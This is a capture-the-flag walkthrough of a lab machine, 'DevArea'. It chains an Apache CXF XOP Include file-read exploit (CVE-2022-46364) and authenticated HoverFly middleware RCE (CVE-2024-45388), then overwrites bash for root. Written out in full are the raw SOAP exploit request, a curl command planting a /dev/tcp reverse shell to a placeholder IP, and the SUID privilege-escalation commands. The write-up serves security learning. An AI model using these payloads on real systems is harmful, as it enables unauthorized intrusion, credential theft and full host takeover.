WEB MEDIUM
TomatoBuster 2026  ·  Mar 31, 2026

DevArea

XOP Include SSRF via CVE-2022-46364 on an Apache CXF SOAP service to read files as dev_ryan, leaking HoverFly credentials — then RCE through CVE-2024-45388 to gain a reverse shell, followed by a syswatch-based bash overwrite for root.

Category
Web / Java
Architecture
Linux
Protections
None
Solver
@Tomat0Buster
// Table of Contents
01

Reconnaissance & Port Enumeration

We kick things off with a standard nmap service scan. The target exposes 6 ports — a richer attack surface than usual.

bash — 80×24
$ nmap -sV -sC devarea.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-31 15:29 CEST
Nmap scan report for devarea.htb (10.129.20.157)
Host is up (0.073s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: DevArea - Connect with Top Development Talent
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
8500/tcp open  http    Golang net/http server
|_  This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server
|_http-title: Hoverfly Dashboard

Nmap done: 1 IP address (1 host up) scanned in 36.78 seconds

Several services stand out immediately:

ℹ
Interesting Stack The combination of a Java SOAP service (Jetty/CXF on 8080) and HoverFly (a traffic simulation proxy on 8500/8888) immediately suggests two distinct exploit chains to investigate.
02

FTP Anonymous Login & JAR Analysis

Anonymous FTP gives us access to a JAR file. We download it and decompile it with jadx.

1
// Grab the JAR from FTP
bash
$ ftp devarea.htb
Connected to devarea.htb.
220 (vsFTPd 3.0.5)
Name (devarea.htb:tomatobuster): anonymous
230 Login successful.
ftp> cd pub
ftp> binary
ftp> mget *
mget employee-service.jar?
150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes).
226 Transfer complete.
6445030 bytes received in 2.34 seconds
2
// Decompile with jadx
bash
$ jadx employee-service.jar
$ cat employee-service/sources/htb/devarea/ServerStarter.java
package htb.devarea;

import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

public class ServerStarter {
    public static void main(String[] args) {
        JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
        factory.setServiceClass(EmployeeService.class);
        factory.setServiceBean(new EmployeeServiceImpl());
        factory.setAddress("http://0.0.0.0:8080/employeeservice");
        factory.create();
        System.out.println("Employee Service running at http://localhost:8080/employeeservice");
        System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
    }
}
ℹ
Key Finding The JAR bundles Apache CXF running on Jetty 9.4.27 (2020). This exposes a SOAP endpoint at http://devarea.htb:8080/employeeservice. Old CXF versions resolve XOP Include URIs without scheme validation — this is now a clear target.
03

XOP Include SSRF via CVE-2022-46364 (Apache CXF)

Googling the CXF version leads us straight to CVE-2022-46364. The SOAP endpoint processes MTOM multipart requests with xop:Include elements without validating the URI scheme. This is not classic XXE — it abuses XOP Includes inside MTOM multipart requests, which CXF resolves server-side and embeds into the response. The result is an unauthenticated SSRF with arbitrary file read.

ℹ
What is MTOM and XOP? MTOM (Message Transmission Optimization Mechanism) is a SOAP extension for efficiently sending binary attachments — instead of base64-encoding them inline, attachments are referenced via xop:Include elements with an href attribute. Apache CXF processes these href URIs server-side to assemble the message. In vulnerable versions, CXF never validates that the URI scheme is safe, so href="file:///etc/passwd" is resolved just as willingly as a legitimate attachment URI. The file contents are then base64-encoded and returned inside the SOAP response body.
CVE Service Version Impact Severity
CVE-2022-46364 Apache CXF (SOAP/MTOM) ≤ 3.5.2 / ≤ 3.4.9 SSRF / File Read — arbitrary files readable via XOP Include href in MTOM SOAP request HIGH

We use the public PoC from kasem545/CVE-2022-46364-Poc. The script crafts a multipart SOAP envelope with an xop:Include pointing to a local file path. The raw request looks like this:

raw HTTP request — SSRF via XOP Include
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: multipart/related; type="application/xop+xml";
              start="root@example.com";
              boundary="----=_Part_0_12345";
              start-info="text/xml"

------=_Part_0_12345
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-ID: root@example.com;

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:dev="http://devarea.htb/"
                  xmlns:xop="http://www.w3.org/2004/08/xop/include">
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <content>
               <xop:Include href="file:///etc/systemd/system/hoverfly.service"/>
            </content>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
------=_Part_0_12345--

The server responds with a SOAP envelope containing the file contents as a base64-encoded string inside the <return> element. Decode it to read the file:

1
// Run the exploit to read /etc/passwd
bash
$ python3 CVE-2022-46364.py \
  -t http://devarea.htb:8080/employeeservice \
  -s file:///etc/passwd \
  -d devarea.htb
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
⚠
Why MTOM is an SSRF vector Every SOAP request is XML by definition — every byte passes through CXF's XML processor. MTOM adds a layer where xop:Include URIs are resolved before the application logic even sees the request. Since CXF in vulnerable versions trusts all URI schemes including file://, there is no exploit complexity — just craft the multipart boundary, embed the include, and read the response.
04

HoverFly Credential Leak

The systemd unit file for HoverFly reveals its startup command — complete with hardcoded credentials passed as CLI arguments.

bash
$ python3 CVE-2022-46364.py \
  -t http://devarea.htb:8080/employeeservice \
  -s file:///etc/systemd/system/hoverfly.service \
  -d devarea.htb
      
[Unit]
Description=HoverFly service
After=network.target

[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username REDACTED -password REDACTED -listen-on-host 0.0.0.0

Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536

[Install]
WantedBy=multi-user.target

We log in to the HoverFly Dashboard at http://devarea.htb:8888 using the leaked credentials — it works. We now have an authenticated session on the HoverFly admin panel.

⚑
Credentials Found HoverFly credentials hardcoded in the systemd unit file, readable via the XOP Include SSRF chain. From here, we pivot to the next CVE.
05

RCE via CVE-2024-45388 (HoverFly Middleware)

A quick CVE search for HoverFly turns up CVE-2024-45388. The vulnerability lies in the /api/v2/hoverfly/middleware endpoint: an authenticated user can set an arbitrary binary and inline script, achieving full RCE.

CVE Service Impact Severity
CVE-2024-45388 HoverFly (middleware API) Authenticated RCE via /api/v2/hoverfly/middleware CRITICAL
1
// Start a reverse shell listener
terminal 1 — listener
$ ncat -lvp 4444
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
2
// Grab the API Bearer token from the browser

After logging in to the HoverFly dashboard, open the browser DevTools → Network tab, inspect any API request, and copy the Authorization: Bearer <token> header value.

3
// Set the malicious middleware payload

We PUT our reverse shell script to the middleware endpoint. HoverFly will execute this binary + script for every proxied request — but only once we switch modes and trigger it.

terminal 2 — exploit
$ curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "binary": "bash",
    "script": "#!/bin/bash\nbash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
  }'
4
// Shell received as dev_ryan
terminal 1 — shell
Ncat: Connection from 10.129.20.157.
Ncat: Connection from 10.129.20.157:42198.
dev_ryan@devarea:~$ 
06

User Flag

We have a shell as dev_ryan. The user flag is in the home directory.

dev_ryan@devarea
dev_ryan@devarea:~$ cat user.txt
HTB{REDACTED}
⚑
User Flag Captured Two CVEs chained together — XOP Include SSRF for file read, middleware injection for RCE. First flag done. Time to go deeper.
07

Privilege Escalation via syswatch

Running linpeas.sh reveals a syswatch.zip in the home directory and a script at /opt/syswatch/syswatch.sh that calls /usr/bin/bash and can be run with sudo. The plan: overwrite /usr/bin/bash with a fake script that creates a SUID root copy of the real bash.

1
// Back up the real bash binary
dev_ryan@devarea
dev_ryan@devarea:~$ cp /usr/bin/bash /tmp/bash.bak
dev_ryan@devarea:~$ chmod +x /tmp/bash.bak
2
// Switch to sh and kill all bash processes

We need to free /usr/bin/bash before overwriting it. Switching to sh first ensures our session survives killall bash.

dev_ryan@devarea
dev_ryan@devarea:~$ sh
$ killall bash
$ lsof /usr/bin/bash
(no output — file is free)
3
// Overwrite /usr/bin/bash with our fake script

The fake script uses our backup bash as the interpreter and, when executed, copies it to /tmp/rootbash with the SUID bit set.

sh session
$ cat > /usr/bin/bash << 'EOF'
#!/tmp/bash.bak
cp /tmp/bash.bak /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
4
// Trigger syswatch to execute our fake bash
sh session
$ sudo /opt/syswatch/syswatch.sh status
(syswatch calls /usr/bin/bash — our fake script runs as root)
$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Mar 31 16:11 /tmp/rootbash
5
// Execute the SUID root shell
sh session → root
$ /tmp/rootbash -p
rootbash-5.2# 
⚠
Why this works syswatch.sh calls /usr/bin/bash as root via sudo. By replacing that binary with our own script — and using the backup real bash as the shebang interpreter — the script runs with root privileges and produces a SUID binary we control. The -p flag tells bash to preserve the effective UID instead of dropping it.
08

Root Flag

With an effective root shell, we navigate to /root and grab the final flag.

rootbash — root@devarea
rootbash-5.2# cd /root
rootbash-5.2# ls
root.txt
rootbash-5.2# cat root.txt
HTB{REDACTED}
// Root Flag Captured
HTB{REDACTED}
Related Writeups View all →